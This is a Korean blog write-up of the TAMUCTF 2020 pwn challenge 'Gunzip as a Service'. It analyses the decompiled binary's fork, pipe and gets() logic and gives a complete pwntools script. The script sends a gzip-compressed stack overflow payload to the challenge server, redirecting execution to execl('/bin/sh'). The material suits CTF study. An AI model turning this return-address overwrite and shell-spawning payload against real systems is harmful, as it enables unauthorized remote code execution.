TAMUCTF2020] PWN - GUNZIP AS A SERVICE

노션으로 옮김·2020년 3월 30일
1

wargame

목록 보기
29/59
post-thumbnail

문제

문제파일을 실행해본다.

root@kali:/work/myspace/TAMUCTF/pwn/GUNZIP_AS_A_SERVICE# ./gunzipasaservice 
aaaaaaaa

gzip: stdin: not in gzip format
root@kali:/work/myspace/TAMUCTF/pwn/GUNZIP_AS_A_SERVICE#

먼저 사용자 입력을 받고,
gzip 형식이 아니라는 메시지를 출력해주고 있다.


풀이

취약점 발견

취약점은 금방 발견할 수 있었다.

int __cdecl sub_80492C9(char *src, int fd2)
{
  ...
  ...
  gets(src); 

sub_80492C9 함수에서 gets()를 호출하여 오버플로우가 발생한다.
하지만 분석 결과, 프로그램 실행시 키보드 입력을 요구했던 함수는 이 때의 gets()가 아니었으며, 이 함수는 다른 곳에서 데이터를 받아오는 것이었다.

따라서 내가 조작해야하는 값이 존재하는 다른 곳을 찾아야만 했다.

흐름 분석

IDA를 이용하여 코드를 확인해보자.

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _x86_get_pc_thunk_ax();
  gunzip();
  return 0;
}

gunzip 함수를 호출하고 있다.

gunzip

size_t gunzip()
{
  char ptr; // [sp+4h] [bp-414h]@1
  char s; // [sp+204h] [bp-214h]@1
  int fd2; // [sp+404h] [bp-14h]@1
  int fd; // [sp+408h] [bp-10h]@1
  size_t n; // [sp+40Ch] [bp-Ch]@1

  subprocess((int)"gunzip", &fd, &fd2);         // running gunzip :: parent
  ...
  ...
}

가장 먼저 호출하는 subprocess()가 어떤 기능을 하는지 살펴보자.

subprocess

int __cdecl subprocess(int fileName, int *p_fd, int *p_fd2)
{
  int pipedes2; // [sp+0h] [bp-18h]@1
  int v5; // [sp+4h] [bp-14h]@2
  int pipedes; // [sp+8h] [bp-10h]@1
  int fd; // [sp+Ch] [bp-Ch]@2

  pipe(&pipedes);
  pipe(&pipedes2);
  if ( !fork() )
  {                                             // parent process's section
    close(fd);
    dup2(pipedes, 0);
    close(pipedes2);
    dup2(v5, 1);
    execl("/bin/sh", (const char *)&unk_804A00B, &unk_804A008, fileName, 0);
  }
  *p_fd = fd;
  *p_fd2 = pipedes2;
  close(v5);
  return 0;
}

프로그램의 기능이 어떤 식으로 동작하는지 짐작할 수 있는 핵심 루틴이다.
다음과 같은 순서에 의해 gzip이 서비스된다.

  1. 먼저, pipe 함수를 이용하여 2개의 파이프를 생성한다.
  2. fork() 실행으로 루틴이 나뉘는데
    2-1. 부모 프로세스일 경우, if문 안에서 콘솔 file descriptor로 복사한 파이프를 연결시킨 뒤, execl()gunzip 서비스가 실행된다. ※이 때 부모프로세스는 종료된다※
    2-2. 자식 프로세스일 경우, 인자로 전달된 fd에 복사한 파이프를 저장하고 return 된다.

다시 gunzip()으로 돌아와서 다음 루틴을 살펴보자.
여기서부터는 자식프로세스가 실행하는 범위이다.

gunzip

  subprocess((int)"gunzip", &fd, &fd2);
  /* eip is here */
  memset(&s, 0, 0x200u);
  n = read(0, &s, 0x200u);                      // receive input from stdin:: child
  write(fd, &s, n);                             // send data to gunzip on parent :: child
  close(fd);
  memset(&ptr, 0, 0x200u);
  sub_80492C9(&ptr, fd2);
  return fwrite(&ptr, 1u, 0x200u, stdout);
}

버퍼 s에 사용자로부터 입력을 받는다.
그리고 변수 fd로 저장된 버퍼의 값을 전송하는데,
여기서 fd는 아까 subprocess()에서 복사했던 파일 디스크립터이다.
즉, 부모 프로세스인 gzip에 데이터를 전송하는 것이다.

그리고 sub_80492C9()fd2 파일디스크립터를 인자로 전달하며 호출한다.

sub_80492C9

int __cdecl sub_80492C9(char *src, int fd2)
{
  int v2; // ST1C_4@1

  v2 = dup(0);                                  // backup stdin
  dup2(fd2, 0);
  gets(src);                                    // get data from fd2(gunzip on parent)
  return dup2(v2, 0);                           // recovery stdin
}

간단하다.
먼저 v2stdin을 백업한다.
그리고 stdinfd2 파일 디스크립터를 연결시킨다.
(이 코드로 stdin은 키보드 입력 스트림이 아닌 fd2를 나타내게 된다.)

다음으로 gets(src)를 호출하는데,
원래는 키보드로부터 입력을 받는 함수지만 이전에 키보드 입력 스트림이 fd2로 변경되었으므로, fd2로부터 입력을 받게된다.
그리고 fd2subprocess()에서 부모프로세스와 연결시켰던 파이프 파일디스크립터이다.

즉, 부모프로세스로부터 gzip의 실행결과를 받게되는데 이 때의 결과물은 아까 전송했던 키보드 입력값에 대한 것이다.

그리고 이 값은 gunzip()의 마지막 코드인

fwrite(&ptr, 1u, 0x200u, stdout);

에 의해서 자식프로세스의 stdout로 출력된다.

정리

부모 프로세스는 단순히 gzip의 기능만 수행하는 것이다.
gzip이 처리하는 데이터는 자식 프로세스가 전달하는데, 이 때의 데이터는 gzip 압축파일 형식의 바이너리 값이어야 한다.
정상적인 gzip 값이면 압축해제된 데이터가 자식프로세스에 의해 출력되고, 그렇지 않을 경우 앞서 실행결과처럼 올바른 gzip 형식이 아니라는 에러메시지가 출력될 것이다.

포인트

취약점을 발생시킬 수 있는 포인트를 알아야 한다.

앞서 보았던 gets()로 전달되는 값은 프로그램 실행시 요구했던 gzip 형식의 데이터가 압축해제됬을 때의 값이다.

다시 말해, 페이로드를 작성한 뒤 gzip으로 압축하여 자식프로세스의 stdin으로 전달하면 오버플로우되어 익스플로잇할 수 있을 것이다.

페이로드 작성

페이로드는 간단히 작성할 수 있다.
execl 함수가 존재하므로, 해당 위치로 RET를 조작하되 인자로 /bin/sh를 전달하여 쉘이 실행되도록 만든다.

from pwn import *
import os



#p = process('./gunzipasaservice')
p = remote('challenges.tamuctf.com', 4709)
fw = open('payload', 'wb')

bufSize = 0x414
payload = '\x90'*bufSize

payload += 'B'*4 
payload += p32(0x8049298) + p32(0x804A00E) + p32(0) #address of execl + /bin/sh + 0
fw.write(payload)

fw.close()
os.system('gzip -f payload')
fr = open('payload.gz', 'rb')
payload = ''.join(fr.readlines())

p.send(payload)


res = p.recvrepeat(0.2)
print 'res: ' + res.encode('hex')
'''
#only in local
state = p.poll()
print 'state: ' + str(state)
if state == None:
    print '2222222'
    break
else:
    print '1111111'
    p.close()
    continue
'''

p.interactive()

주의사항

execl()의 마지막 인자로 0을 전달해야 정상적으로 쉘이 실행한다.

결과

0개의 댓글